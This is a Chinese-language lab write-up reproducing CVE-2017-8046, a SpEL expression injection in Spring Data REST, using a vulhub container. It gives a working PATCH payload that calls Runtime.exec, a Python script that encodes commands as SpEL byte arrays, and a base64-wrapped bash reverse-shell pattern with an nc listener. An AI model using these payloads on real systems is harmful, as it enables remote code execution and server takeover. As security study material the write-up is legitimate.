影响范围

  • Spring Data REST 2.5.0 - 2.5.11
  • Spring Data REST 2.6.0 - 2.6.8
  • Spring Data REST 3.0.0.RC1 - 3.0.0.RC3
  • Spring Boot 1.5.0 - 1.5.8
  • Spring Boot 1.4.x 及更早版本

漏洞类型

SpEL 表达式注入

操作系统限制

无

配置要求

默认配置

漏洞利用

命令执行,进行反弹 shell,写入木马

利用原理

Spring Data REST 支持通过 PATCH 请求对资源进行局部更新,PATCH 请求包含一个 path 字段,用于指定修改的对象属性,后端接受请求时,Spring 会将 path 字段直接传递给 SpeExpressionParser 解析,框架没用对 path 进行安全过滤或合法性检验,攻击者可以在 path 字段构造 SpEL 表达式实现代码执行

漏洞复现

用现成的 vulhub 来拉取镜像

1
2
3
4
5
6
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/spring/CVE-2017-8046
#拉取镜像
docker-compose up -d

1773372181730

攻击机开启监听端口,nc -lvvp 监听端口

1773372345886

抓取 http://公网: 8080/customers/1 数据包

1773372291284

发送到 Repeater 模块

1773372386658

将反弹 shell 进行 base64 编码后构造出敏感命令

1
bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}

编码脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def cmd_to_spel_ascii(command):
# 将命令转换为 ASCII 数字列表
ascii_values = [str(ord(c)) for c in command]

# 用逗号分隔并打印
result = ",".join(ascii_values)

print("\n[+] 原始命令: " + command)
print("[+] ASCII 序列 (逗号分隔):")
print(result)

# 额外生成一个可以直接用于 SpEL 的 Payload 参考
# 逻辑:利用 new java.lang.String(new byte[]{...})
spel_payload = "new java.lang.String(new byte[]{" + result + "})"
print("\n[+] SpEL 字节数组参考:")
print(spel_payload)

if __name__ == "__main__":
target_cmd = input("请输入要转换的命令 (例如反弹 shell 指令): ")
cmd_to_spel_ascii(target_cmd)

使用脚本对敏感命令进行 ascii 编码,构造注入的 payload,修改请求类型为,PATCH,添加 Content-Type: application/json-patch+json,请求主体为构造的 payload,这里用了反弹 shell

1
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{ascii编码的敏感命令}))/lastname", "value": "vulhub" }]

1773372496576

发送后返回 400

1773372535432

成功连接,虽然连接不稳定

1773372597198